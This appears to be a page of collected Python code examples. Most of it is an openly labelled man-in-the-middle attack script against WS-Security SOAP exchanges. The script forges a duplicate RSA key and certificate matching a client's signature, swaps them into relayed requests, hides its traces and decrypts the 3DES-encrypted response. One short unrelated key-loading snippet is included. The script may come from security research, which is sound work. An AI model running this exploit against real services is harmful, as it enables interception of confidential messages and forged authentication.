            repacked_sym_key_raw = pow(sym_key_int, rsakey.e, rsakey.n)
            repacked_sym_key_bytes = repacked_sym_key_raw.to_bytes(
                keylength, byteorder='big')
            repacked_sym_key = base64.b64encode(repacked_sym_key_bytes)

            # Remove traces (replace certificate and symmetrical key)
            new_response = replaceSymKey(response, repacked_sym_key)
            new_response = replaceClientCert(new_response, raw_client_key)

            # Sanity check
            new_response_xml = extractXML(new_response)
            response_signed_data, response_raw_signature = extractSigData(
                new_response_xml)
            print(
                "Sanity check; Signature still valid:",
                verifySignature(response_raw_signature, key,
                                response_signed_data))

            print("Sending response back to initiator...")
            connection.send(new_response)

            sym_key = sym_key_int.to_bytes(length=keylength, byteorder='big')

            # Plaintext (of sym key) = 02 | PADDING | 00 | KEY, key is 24 byte long
            sym_key = sym_key[-24:]

            cipher_text = extractCipherData(response)

            # Ciphertext = IV (8 bytes) | Ciphertext
            iv = cipher_text[:8]
            cipher_text = cipher_text[8:]

            cipher = DES3.new(sym_key, DES3.MODE_CBC, iv)

            # Decrypt ciphertext
            plain_text = cipher.decrypt(cipher_text)

            # Plaintext = message | padding | paddinglength (1 byte)
            padding_length = plain_text[-1]
            plain_text = plain_text[:(padding_length * (-1))]

            print("Encrypted content:", plain_text)

            # Print time elapsed since client connection
            print("Seconds since started:", time.time() - timestarted)
Example #42
0
 def as_rsa(self, cr, uid, ids):
     """
     Return RSA object.
     """
     return dict((k, RSA.load_key_string(v))
                 for k, v in self.as_pem(cr, uid, ids).items())
Example #43
0
def main(listeningport=8081, serviceport=8080):
    """
    Runs the attack against the server and client.
    :param listeningport: port the client will connect to
    :param serviceport: port the server is running on
    :return:
    """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(("127.0.0.1", listeningport))
        s.listen()
        print("Waiting for client connection...")
        connection, address = s.accept()

    with connection:
        print("Client ip: ", address)
        print("Waiting for data...")
        request = b''
        while True:
            # data size found by sniffing with wireshark
            data = connection.recv(8186)
            request += data
            if not data:
                break
            timestarted = time.time()

            # Needed for etree
            data = extractXML(data)

            # Retrieve the client's certificate
            raw_client_key = extractCertFromXML(data)
            cert = b'-----BEGIN CERTIFICATE-----\r\n' + raw_client_key + b'\r\n-----END CERTIFICATE-----'
            key = pubkeyFromPem(cert.decode("utf-8"))  # needed for M2Crypto verify
            rsakey = PyRSA.importKey(key.as_der())
            print("Extracted public key from message...")

            # Retrieve signature and the signed data
            signed_data, raw_signature = extractSigData(data)
            print("Extracted signature and SignedInfo from message...")

            # Remove the certificate from the SignedInfo element (wssedemo signs the x509 token)
            new_signed_data = modifyData(signed_data, b'<ds:Reference URI="#X509Token">(.+?)</ds:Reference>', b'')
            m = hashlib.sha1()
            m.update(new_signed_data)
            vp = m.digest()

            # Create a duplicate key on the given signature and public key, following the algorithm by Thomas Pornin
            newe, newd, newn = createDuplicateKey(rsakey.e, rsakey.n, vp, raw_signature)

            derkey = PyRSA.construct((newn, newe, newd, 17, 19))  # Dummy p, q
            secondarypubkey = RSA.load_key_string(derkey.exportKey('PEM'))

            print("Successfully created secondary key pair!")

            # Create a new CA signed certificate for the duplicate key
            new_cert = makeAndSignCert(secondarypubkey)
            valid = verifySignature(raw_signature, pubkeyFromPem(new_cert.as_pem()), new_signed_data)
            if valid:
                print("Successfully created new certificate!")
            else:
                print("Failed to create new certificate!")
                raise

            new_cert_mod = fixedDerFromPem(new_cert.as_pem())

            # Replace the original with the modified certificate
            print("Modifying request with new certificate...")
            new_cert_mod = b''.join(new_cert_mod.splitlines())
            new_request = replaceSigCert(request, new_cert_mod)

            # Replace the SignedInfo element with the new one
            new_request = replaceSignedInfo(new_request, new_signed_data)

            # Send the altered request to the responder and intercept the response
            response = sendToResponder(new_request, serviceport)
            new_response = response

            print("Sending response back to initiator...")
            connection.send(new_response)

            # Print time elapsed since client connection
            print("Seconds since started:", time.time() - timestarted)